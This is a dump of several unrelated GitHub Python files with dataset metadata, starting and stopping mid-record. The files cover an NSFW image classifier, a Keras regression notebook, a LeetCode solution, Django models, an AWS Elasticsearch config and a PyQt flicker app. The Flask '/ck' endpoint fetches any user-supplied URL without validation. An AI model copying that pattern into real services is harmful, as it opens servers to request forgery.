255]\ncaffe_transformer.set_channel_swap('data', (2, 1, 0)) # swap channels from RGB to BGR\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return \"welcome to nsfw\"\n\n@app.route('/ck')\ndef ck():\n\n u0 = u = \"\"\n\n try:\n u0 = request.args.get('u')\n u = urllib.unquote(u0).decode('utf8')\n\n handle = urlopen(u)\n image_data = handle.read()\n\n # Classify.\n scores = classify_nsfw.caffe_preprocess_and_compute(image_data, caffe_transformer=caffe_transformer, caffe_net=nsfw_net, output_layers=['prob'])\n\n # Scores is the array containing SFW / NSFW image probabilities\n # scores[1] indicates the NSFW probability\n # print \"NSFW score: \" , scores[1]\n\n rt = {\n \"code\": 0,\n \"msg\": \"\",\n \"data\": {\n \"score\" : scores[1]\n }\n }\n return jsonify(rt)\n\n\n except Exception as e:\n msg = \"%s, decode: %s, raw: %s\" % (str(e), u, u0)\n rt = {\n \"code\": 500,\n \"msg\": msg,\n \"data\": {}\n }\n return jsonify(rt)", "repo_name": "lleiiell/nsfw", "sub_path": "nsfw.py", "file_name": "nsfw.py", "file_ext": "py", "file_size_in_byte": 1864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "caffe.Net", "line_number": 12, "usage_type": "call"}, {"api_name": "caffe.TEST", "line_number": 13, "usage_type": "attribute"}, {"api_name": "caffe.io.Transformer", "line_number": 17, "usage_type": "call"}, {"api_name": "caffe.io", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "urllib.unquote", "line_number": 36, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 38, "usage_type": "call"}, {"api_name": "classify_nsfw.caffe_preprocess_and_compute", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 65, "usage_type": "call"}]} {"seq_id": "10444755436", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#import\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport keras\nfrom keras import Sequential\nfrom keras.layers import Dense\n\ndataPath = \"C:/DEV/hadoop/normalized_data.csv\"\n\ndataset = pd.read_csv(dataPath, sep=';', header=0)\ndataset = dataset.drop(columns=['TripID'])\ndataset['RouteID'] = dataset['RouteID'].apply(lambda row: pd.to_numeric(row.split('_')[1]))\ndataset.head(2)\ndataset['result'].plot(kind='bar')\n\n\n# In[3]:\n\n\n#check the data distribution\nsns.pairplot(dataset)\n\n\n# In[4]:\n\n\n#creating training set\nX=dataset.iloc[:,0:6]\ny=dataset.iloc[:,6:7].values\n\n\n# In[5]:\n\n\n#normalizing the values\nfrom sklearn.preprocessing import MinMaxScaler\nsc= MinMaxScaler()\nx= sc.fit_transform(X)\n#y= y.reshape(-1,1)\n#y=sc.fit_transform(y)\n\n\n# In[6]:\n\n\n#dividing into train and test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n\n\n# In[7]:\n\n\n#creating the model \ndef build_regressor():\n regressor = Sequential()\n regressor.add(Dense(1, input_dim=6, activation='linear'))\n #regressor.add(Dense(units=10, input_shape=(7,0))\n #regressor.add(Dense(units=1))\n #regressor.add(Dense(units=7))\n optimizer = keras.optimizers.adam(amsgrad = True)\n regressor.compile(optimizer= optimizer, loss='mse', metrics=['mae','accuracy'])\n return regressor\n\n\nfrom keras.wrappers.scikit_learn import KerasRegressor\nregressor = KerasRegressor(build_fn=build_regressor, batch_size=2,epochs=100)\nprint(y_train.shape)\nprint(X_train.shape)\n\nresults=regressor.fit(X_train,y_train)\n\ny_pred= regressor.predict(X_test)\n\nfig, ax = plt.subplots()\nax.scatter(y_test, y_pred)\nax.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], 'k--', lw=4)\nax.set_xlabel('Measured')\nax.set_ylabel('Predicted')\nplt.show()\n\n", "repo_name": "Hakuhun/funcmath", "sub_path": "LinearRegression.py", "file_name": "LinearRegression.py", "file_ext": "py", "file_size_in_byte": 1887, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 20, "usage_type": "call"}, {"api_name": "seaborn.pairplot", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.Sequential", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.optimizers.adam", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 69, "usage_type": "attribute"}, {"api_name": "keras.wrappers.scikit_learn.KerasRegressor", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}]} {"seq_id": "35117865691", "text": "#\n# @lc app=leetcode.cn id=222 lang=python3\n#\n# [222] 完全二叉树的节点个数\n#\n# https://leetcode.cn/problems/count-complete-tree-nodes/description/\n#\n# algorithms\n# Medium (80.22%)\n# Likes: 771\n# Dislikes: 0\n# Total Accepted: 218.1K\n# Total Submissions: 271.6K\n# Testcase Example: '[1,2,3,4,5,6]'\n#\n# 给你一棵 完全二叉树 的根节点 root ，求出该树的节点个数。\n#\n# 完全二叉树\n# 的定义如下：在完全二叉树中，除了最底层节点可能没填满外，其余每层节点数都达到最大值，并且最下面一层的节点都集中在该层最左边的若干位置。若最底层为第 h\n# 层，则该层包含 1~ 2^h 个节点。\n#\n#\n#\n# 示例 1：\n#\n#\n# 输入：root = [1,2,3,4,5,6]\n# 输出：6\n#\n#\n# 示例 2：\n#\n#\n# 输入：root = []\n# 输出：0\n#\n#\n# 示例 3：\n#\n#\n# 输入：root = [1]\n# 输出：1\n#\n#\n#\n#\n# 提示：\n#\n#\n# 树中节点的数目范围是[0, 5 * 10^4]\n# 0\n# 题目数据保证输入的树是 完全二叉树\n#\n#\n#\n#\n# 进阶：遍历树来统计节点是一种时间复杂度为 O(n) 的简单解决方案。你可以设计一个更快的算法吗？\n#\n#\n\n# Definition for a binary tree node.\nfrom turtle import left\nfrom typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\n# @lc code=start\nclass Solution:\n def get_half_tree_node_count(self, max_level: int) -> int:\n lvl = 1\n s = 1\n while lvl <= max_level:\n s += 2 ** (lvl - 1)\n lvl += 1\n return s\n\n def countNodes(self, root: Optional[TreeNode]) -> int:\n # 二分可以快速获取一半的数量\n if not root:\n return 0\n\n has_children = root.left or root.right\n if not has_children:\n return 1\n\n cur = root\n tree_height = 0\n while cur.left:\n cur = cur.left\n tree_height += 1\n\n cur = root.right\n right_tree_height = 0\n while cur and cur.left:\n cur = cur.left\n right_tree_height += 1\n\n left_tree_full = tree_height == right_tree_height + 1\n if left_tree_full:\n return self.get_half_tree_node_count(tree_height) + self.countNodes(root.right)\n else:\n return self.get_half_tree_node_count(tree_height - 1) + self.countNodes(root.left)\n\n\n# @lc code=end\n", "repo_name": "filosfino/leetcode", "sub_path": "Algorithms/Q222_完全二叉树的节点个数.py", "file_name": "Q222_完全二叉树的节点个数.py", "file_ext": "py", "file_size_in_byte": 2442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "turtle.left", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 83, "usage_type": "name"}]} {"seq_id": "41846526781", "text": "from cloudinary.models import CloudinaryField\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.html import mark_safe\n\n\nclass Amigurumi(models.Model):\n name = models.CharField(\n max_length=50, help_text=\"Enter name of the amigurumi\", blank=False\n )\n authorship = models.BooleanField(\n default=False, help_text=\"If you're the author of the recipe\"\n )\n url = models.CharField(\n max_length=100, help_text=\"Enter url of the amigurumi\", blank=True\n )\n\n class Meta:\n ordering = [\"name\", \"authorship\"]\n\n def get_absolute_url(self):\n return reverse(\"amigurumis:amigurumi-detail\", args=[str(self.id)])\n\n def __str__(self):\n return self.name\n\n\nclass AmigurumiImage(models.Model):\n amigurumi = models.ForeignKey(\n Amigurumi, related_name=\"images\", on_delete=models.CASCADE\n )\n image = CloudinaryField(\"image\")\n\n\nclass AboutInfo(models.Model):\n photo = CloudinaryField(\"photo\")\n description = models.TextField(\n default=\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus ut pellentesque nulla. Donec quis nulla at libero laoreet tempor. Ut egestas nulla diam, sit amet varius tellus iaculis sit amet. Aenean porta, mauris quis pellentesque lobortis, elit nisl pulvinar nunc, eu pellentesque leo augue non ante. Vivamus faucibus aliquet neque, vel viverra diam pulvinar vel. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Suspendisse placerat ultricies nisi id malesuada.\",\n help_text=\"Enter the description of your about page\",\n )\n\n def save(self, *args, **kwargs):\n if not self.pk and AboutInfo.objects.exists():\n raise ValidationError(\"There can be only one About Info instance\")\n return super(AboutInfo, self).save(*args, **kwargs)\n\n def admin_photo(self):\n return '' % self.photo\n\n admin_photo.allow_tags = True\n", "repo_name": "Dpbaia/django-the-garden-of-yarns", "sub_path": "amigurumis/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "cloudinary.models.CloudinaryField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "cloudinary.models.CloudinaryField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 45, "usage_type": "call"}]} {"seq_id": "20981278212", "text": "import pkgutil\nimport json\n\naltair_installed = True\ntry:\n import altair as alt\nexcept ImportError:\n altair_installed = False\n\n\ndef load_chart_definition(filename):\n path = f\"files/chart_defs/{filename}\"\n data = pkgutil.get_data(__name__, path)\n schema = json.loads(data)\n return schema\n\n\ndef _load_multi_chart_template():\n path = \"files/templates/multi_chart_template.txt\"\n template = pkgutil.get_data(__name__, path).decode(\"utf-8\")\n return template\n\n\ndef _load_external_libs():\n\n to_load = {\n \"vega-embed\": \"files/external_js/vega-embed@6.14.2\",\n \"vega-lite\": \"files/external_js/vega-lite@4.17.0\",\n \"vega\": \"files/external_js/vega@5.17.1\",\n }\n\n loaded = {}\n for k, v in to_load.items():\n script = pkgutil.get_data(__name__, v).decode(\"utf-8\")\n loaded[k] = script\n\n return loaded\n\n\ndef altair_if_installed_else_json(chart_dict):\n if altair_installed:\n return alt.Chart.from_dict(chart_dict)\n else:\n return chart_dict\n\n\ndef _make_json(chart_or_dict):\n if altair_installed:\n return chart_or_dict.to_json(indent=None)\n else:\n return json.dumps(chart_or_dict)\n", "repo_name": "indrasmartmob/splink", "sub_path": "splink/charts.py", "file_name": "charts.py", "file_ext": "py", "file_size_in_byte": 1174, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pkgutil.get_data", "line_number": 13, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "pkgutil.get_data", "line_number": 20, "usage_type": "call"}, {"api_name": "pkgutil.get_data", "line_number": 34, "usage_type": "call"}, {"api_name": "altair.Chart.from_dict", "line_number": 42, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 42, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 51, "usage_type": "call"}]} {"seq_id": "26851092340", "text": "import os\nimport boto3\nfrom requests_aws4auth import AWS4Auth\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\n\nINGESTION_RECORD_LIMIT = 1000\n\nDEFAULT_ELASTICSEARCH_HOST = 'vpc-{{REDACTED}}.es.amazonaws.com'\nDEFAULT_ELASTICSEARCH_INDEX = 'emma-federated-index'\n\nEMMA_ELASTICSEARCH_HOST = os.environ.get('EMMA_ELASTICSEARCH_HOST', DEFAULT_ELASTICSEARCH_HOST)\nEMMA_ELASTICSEARCH_INDEX = os.environ.get('EMMA_ELASTICSEARCH_INDEX', DEFAULT_ELASTICSEARCH_INDEX)\nEMMA_ELASTICSEARCH_REGION = 'us-east-1'\nEMMA_ELASTICSEARCH_SERVICE = 'es'\n\nGOLDEN_KEY = os.environ.get('GOLDEN_KEY', 'unset')\n\ncredentials = boto3.Session().get_credentials()\nawsauth = AWS4Auth(credentials.access_key, credentials.secret_key,\n EMMA_ELASTICSEARCH_REGION, EMMA_ELASTICSEARCH_SERVICE, session_token=credentials.token)\n\nELASTICSEARCH_CONN = Elasticsearch(\n hosts=[{'host': EMMA_ELASTICSEARCH_HOST, 'port': 443}],\n http_auth=awsauth,\n use_ssl=True,\n verify_certs=True,\n connection_class=RequestsHttpConnection\n)\n\nRENAMED_FIELDS = {\n 'emma_lastRemediationNote':'rem_comments',\n 'emma_lastRemediationDate': 'rem_remediationDate',\n 'emma_repositoryMetadataUpdateDate': 'emma_repositoryUpdateDate'\n}\n\nORIGINAL_FIELDS = {\n 'rem_comments':'emma_lastRemediationNote',\n 'rem_remediationDate': 'emma_lastRemediationDate',\n 'emma_repositoryUpdateDate': 'emma_repositoryMetadataUpdateDate'\n}", "repo_name": "uvalib/emma-index", "sub_path": "emma-search-ingest/api/lambda/shared/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "boto3.Session", "line_number": 18, "usage_type": "call"}, {"api_name": "requests_aws4auth.AWS4Auth", "line_number": 19, "usage_type": "call"}, {"api_name": "elasticsearch.Elasticsearch", "line_number": 22, "usage_type": "call"}, {"api_name": "elasticsearch.RequestsHttpConnection", "line_number": 27, "usage_type": "name"}]} {"seq_id": "9290756105", "text": "from pyspark.sql import SparkSession\nimport argparse\n\ndef main(params):\n spark = SparkSession.builder.getOrCreate()\n current_timestamp = params.date\n print(current_timestamp)\n print(spark.sparkContext)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='argument for spark jobs')\n\n parser.add_argument('--date', default='aaa ')\n args = parser.parse_args()\n main(args)", "repo_name": "nointh/recommender_implement_with_spark", "sub_path": "spark_job/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyspark.sql.SparkSession.builder.getOrCreate", "line_number": 5, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 5, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}]} {"seq_id": "18476167297", "text": "\nimport os\nfrom skimage import io\nimport numpy as np\n\n# CHECK NULL IMAGES IN SUB-FOLDERS\ndef checkRemoveNull(dir, recFile):\n\tf = open(recFile, 'wr+')\n\tsymbols = [sym for sym in os.listdir(dir) if not sym.startswith('.')]\n\tfor sym in symbols:\n\t\tf.write(sym + ':\\n')\n\t\tsymPath = os.path.join(dir, sym)\n\t\timgs = [img for img in os.listdir(symPath) if img.endswith('.png')]\n\t\tfor img in imgs:\n\t\t\timgPath = os.path.join(symPath, img)\n\t\t\timgData = io.imread(imgPath)\n\t\t\tif np.amin(imgData) == np.amax(imgData):\n\t\t\t\tf.write(imgPath + '\\n')\n\t\t\t\tos.remove(imgPath)\n\tf.close()\n\n\n\ndirectory = '../TestIMAGE_NORM'\nrecFile = 'emptyFiles_norm_test.txt'\ncheckRemoveNull(directory, recFile)\n", "repo_name": "YitingHao/CV_Project", "sub_path": "imageGenerate/checker_test.py", "file_name": "checker_test.py", "file_ext": "py", "file_size_in_byte": 675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.amin", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 17, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 19, "usage_type": "call"}]} {"seq_id": "22683375658", "text": "from PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QHBoxLayout, QVBoxLayout, QPushButton, QFileDialog, \\\n QLabel, QShortcut, QFrame, QCheckBox\nfrom PyQt5.QtGui import QColor, QKeySequence, QCursor, QScreen\nfrom PyQt5.QtCore import QTimer, Qt, pyqtSlot\nfrom sys import exit, argv\nfrom FlickerTable import FlickerTable, Flicker, FreqType, SequenceBlock\nfrom Flicker import SeqType, SeqCondition\nfrom ScreenViewer import ScreenViewer\nfrom SequenceBuilder import SequenceBuilder\nfrom os import system, path\nfrom Settings import Settings\nimport xml.etree.cElementTree as ET\nimport psutil\nfrom xml.dom import minidom\nfrom multiprocessing import Process\nimport platform\n\nStandard_Save_File = \"Flickers.xml\"\n\n\nclass MainApp(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(\"Flickers On Top\")\n # self.setGeometry(100, 100, 500, 500)\n\n # create main widget\n central_widget = QWidget(self)\n # central_widget.setStyleSheet(\"border: 1px solid black\")\n self.setCentralWidget(central_widget)\n\n # Main Data\n self.Flickers = []\n self.backgroundFlicker = None\n\n #self.Load()\n self.MainLayout = QVBoxLayout()\n self.process = None\n\n\n # graphical init\n self.InitFlickerTable()\n self.InitLowerPart()\n self.MainLayout.addStretch(0)\n\n def InitFlickerTable(self):\n\n ButtonLayout = QHBoxLayout()\n\n # Flicker table containing all flicker\n self.Table = FlickerTable(self.Flickers)\n QShortcut(QKeySequence(\"Ctrl+C\"), self, self.Table._copy)\n QShortcut(QKeySequence(\"Ctrl+V\"), self, self.Table._paste)\n\n self.MainLayout.addWidget(self.Table)\n\n buttonAdd = QPushButton(\"Add\")\n\n def add():\n f = Flicker()\n self.Flickers.append(f)\n self.Table.AddNewFlicker(f)\n\n buttonAdd.clicked.connect(lambda: add())\n buttonAdd.setShortcut(\"Ctrl+N\")\n buttonRemove = QPushButton(\"Remove\")\n\n def remove():\n if len(self.Flickers) > 0:\n if self.Table.selected:\n self.Table.RemoveRow(*self.Table.selected)\n else:\n self.Table.RemoveRow(self.Table.Rows[list(self.Table.Rows.keys())[-1]])\n\n buttonRemove.clicked.connect(lambda: remove())\n buttonRemove.setShortcut(Qt.Key_Delete)\n\n # Black Screen checkbox\n self.checkboxblack = QCheckBox(\n \"Add a Black Screen background? (WARNING: flickers are click-through even with a background)\")\n\n ButtonLayout.addWidget(buttonAdd)\n ButtonLayout.addWidget(buttonRemove)\n ButtonLayout.addWidget(self.checkboxblack)\n ButtonLayout.addStretch(0)\n\n self.MainLayout.addLayout(ButtonLayout)\n\n self.centralWidget().setLayout(self.MainLayout)\n\n\n # create setting window\n self.buttonSequence=QPushButton()\n self.setting = Settings()\n self.setting.updateSettingSignal.connect(self._apply_setting)\n self._apply_setting()\n\n def InitLowerPart(self):\n lowerContainer = QFrame()\n lowerLayout = QHBoxLayout()\n\n lowerContainer.setFrameStyle(QFrame.Panel | QFrame.Sunken)\n # button on the left\n buttonContainer = QFrame()\n # buttonContainer.setFrameStyle(QFrame.StyledPanel)\n\n buttonLayout = QVBoxLayout()\n actionLayout = QHBoxLayout()\n buttonTest = QPushButton(\"Test\")\n buttonRun = QPushButton(\"Run\")\n buttonStop = QPushButton(\"Stop\")\n buttonTest.clicked.connect(lambda b: self.testVisual())\n buttonRun.clicked.connect(lambda b: self.LaunchVisualStimuli())\n buttonStop.clicked.connect(lambda b: self.stopVisual())\n actionLayout.addWidget(buttonTest)\n actionLayout.addWidget(buttonRun)\n actionLayout.addWidget(buttonStop)\n buttonLayout.addLayout(actionLayout)\n buttonSave = QPushButton(\"Save\")\n buttonSave.clicked.connect(lambda a: self.Save())\n buttonSave.setShortcut(\"Ctrl+S\")\n buttonSaveAs = QPushButton(\"Save As...\")\n buttonSaveAs.clicked.connect(lambda b: self.SaveAs())\n buttonSaveAs.setShortcut(\"Ctrl+Shift+S\")\n buttonImport = QPushButton(\"Import\")\n buttonImport.clicked.connect(lambda b: self.Import())\n buttonHelp = QPushButton(\"Help\")\n buttonHelp.clicked.connect(lambda b: self.help())\n buttonSettings = QPushButton(\"Settings\")\n buttonSettings.clicked.connect(self.settings)\n self.buttonSequence=QPushButton(\"Sequence\")\n def seqbuildopen():\n if len(self.Flickers)>0:\n self.build=SequenceBuilder(self.Flickers[0])\n self.build.show()\n self.buttonSequence.clicked.connect(lambda b:seqbuildopen())\n\n if self.setting.seqlinkCheckBox.checkState():\n for row in self.Table.Rows.values():\n row.attrDict[\"sequence\"].hide()\n else:\n self.buttonSequence.hide()\n buttonLayout.addWidget(self.buttonSequence)\n buttonLayout.addWidget(buttonSave)\n buttonLayout.addWidget(buttonSaveAs)\n buttonLayout.addWidget(buttonImport)\n buttonLayout.addWidget(buttonHelp)\n buttonLayout.addWidget(buttonSettings)\n buttonLayout.addStretch(0)\n buttonContainer.setLayout(buttonLayout)\n lowerLayout.addWidget(buttonContainer)\n\n # Screen Viewer\n self.screenviewer = ScreenViewer(self.Flickers)\n self.screenviewer.changeSignal.connect(self.Table.updateFlicker)\n self.screenviewer.removeSignal.connect(self.Table.removeFlicker)\n self.screenviewer.addSignal.connect(self.Table.updateFlicker)\n self.screenviewer.addSignal.connect(lambda f: self.Flickers.append(f))\n self.Table.tableUpdateSignal.connect(lambda flicker: self.screenviewer.updateFlickers(flicker))\n self.Table.tableRemoveSignal.connect(self.screenviewer.removeFlicker)\n self.Table.tableAddSignal.connect(lambda flicker: self.screenviewer.setupFlickers(flicker))\n lowerLayout.addWidget(self.screenviewer.view)\n\n # mousePosition\n mousePosLayout = QVBoxLayout()\n titleLabel = QLabel(\"Mouse Position\")\n xlabel = QLabel()\n ylabel = QLabel()\n mousePosLayout.addWidget(titleLabel)\n mousePosLayout.addWidget(xlabel)\n mousePosLayout.addWidget(ylabel)\n mousePosLayout.addStretch(0)\n lowerLayout.addLayout(mousePosLayout)\n\n def get_mouse_pos():\n pos = QCursor.pos()\n xlabel.setText(\"X: \" + str(pos.x()))\n ylabel.setText(\"Y: \" + str(pos.y()))\n\n mouseTimer = QTimer(self)\n mouseTimer.timeout.connect(get_mouse_pos)\n mouseTimer.start(20)\n\n lowerContainer.setLayout(lowerLayout)\n self.MainLayout.addWidget(lowerContainer)\n\n def Load(self, file=Standard_Save_File):\n def loadseq(attribute):\n value = SequenceBlock(SeqType[attribute[0].text], SeqCondition[attribute[2].text], float(attribute[3].text))\n for subseq in attribute[1]:\n value.AddSeq(loadseq(subseq))\n return value\n\n if path.exists(file):\n Tree = ET.parse(file)\n root = Tree.getroot()\n for f in root:\n try:\n temp = Flicker()\n for attribute in f:\n\n # Basic Attribute\n if (attribute.tag in temp.__dict__.keys()):\n value = None\n if attribute.text != None and len(\n attribute) == 0 and attribute.text != \"false\" and attribute.text != \"true\":\n value = attribute.text\n if \".\" in value:\n try:\n value = float(value)\n except:\n pass\n else:\n try:\n value = int(value)\n except:\n pass\n if attribute.tag == \"Type\":\n value = FreqType[value]\n if attribute.tag == \"Color\":\n value = QColor(int(attribute[1].text), int(attribute[2].text), int(attribute[3].text))\n if attribute.tag == \"sequence\":\n value = loadseq(attribute)\n if attribute.text == \"false\":\n value = False\n if attribute.text == \"true\":\n value = True\n\n temp.__setattr__(attribute.tag, value)\n # Special attribute\n if attribute.tag == \"Code\":\n temp.Code = attribute.text\n self.Flickers.append(temp)\n except:\n print(\"Couldn't load flicker\")\n\n def Save(self, file=Standard_Save_File):\n def saveSeq(root, seq: SequenceBlock):\n t = ET.SubElement(root, \"Type\")\n t.text = seq.seqType.name\n subseq = ET.SubElement(root, \"contained_sequence\")\n c = ET.SubElement(root, \"cond\")\n c.text = seq.Condition.name\n v = ET.SubElement(root, \"value\")\n v.text = str(seq.value)\n for s in seq.contained_sequence:\n saveSeq(ET.SubElement(subseq, \"SequenceValue\"), s)\n\n root = ET.Element(\"ArrayOfFlicker\")\n for f in self.Flickers:\n fEle = ET.SubElement(root, \"Flicker\")\n for attr in f.__dict__:\n value = f.__dict__[attr]\n\n ele = ET.SubElement(fEle, attr)\n if value == None or isinstance(value, SequenceBuilder):\n continue\n if isinstance(value, FreqType):\n value = value.name\n if isinstance(value, QColor):\n A = ET.SubElement(ele, \"A\")\n A.text = str(value.alpha())\n R = ET.SubElement(ele, \"R\")\n R.text = str(value.red())\n G = ET.SubElement(ele, \"G\")\n G.text = str(value.green())\n B = ET.SubElement(ele, \"B\")\n B.text = str(value.blue())\n continue\n if isinstance(value, SequenceBlock):\n saveSeq(ele, value)\n continue\n if isinstance(value, bool):\n value = str(value).lower()\n ele.text = str(value)\n tree = ET.ElementTree(root)\n xmlstr = minidom.parseString(ET.tostring(root)).toprettyxml(indent=\" \")\n with open(file, \"w\") as f:\n f.write(xmlstr)\n\n def SaveAs(self):\n file = QFileDialog.getSaveFileName(filter=\"*.xml\")[0]\n if path.exists(file): self.Save(file)\n\n def Import(self):\n file = QFileDialog.getOpenFileName(filter=\"*.xml\")[0]\n if path.exists(file):\n self.Table.RemoveRow(*list(self.Table.Rows.values()))\n\n def loadseq(attribute):\n value = SequenceBlock(SeqType[attribute[0].text], SeqCondition[attribute[2].text],\n float(attribute[3].text))\n for subseq in attribute[1]:\n value.AddSeq(loadseq(subseq))\n return value\n\n if path.exists(file):\n Tree = ET.parse(file)\n root = Tree.getroot()\n for f in root:\n try:\n temp = Flicker()\n for attribute in f:\n # Basic Attribute\n if (attribute.tag in temp.__dict__.keys()):\n value = None\n if attribute.text != None and len(\n attribute) == 0 and attribute.text != \"false\" and attribute.text != \"true\":\n value = attribute.text\n if \".\" in value:\n try:\n value = float(value)\n except:\n pass\n else:\n try:\n value = int(value)\n except:\n pass\n if attribute.tag == \"Type\":\n value = FreqType[value]\n if attribute.tag == \"Color\":\n value = QColor(int(attribute[1].text), int(attribute[2].text),\n int(attribute[3].text))\n if attribute.tag == \"sequence\":\n value = loadseq(attribute)\n if attribute.text == \"false\":\n value = False\n if attribute.text == \"true\":\n value = True\n\n temp.__setattr__(attribute.tag, value)\n # Special attribute\n if attribute.tag == \"Code\":\n temp.Code = attribute.text\n self.Flickers.append(temp)\n except:\n print(\"Couldn't load flicker\")\n self.Table.InitRows()\n\n def LaunchVisualStimuli(self):\n # Launch the main code\n if len(self.Flickers) > 0:\n if self.checkboxblack.checkState() and not self.backgroundFlicker in self.Flickers:\n screen = app.primaryScreen()\n size = screen.size()\n self.backgroundFlicker = Flicker(width=size.width(), height=size.height(), frequency=1, opacity_min=100,\n color=QColor(0, 0, 0))\n self.Flickers.insert(0, self.backgroundFlicker)\n 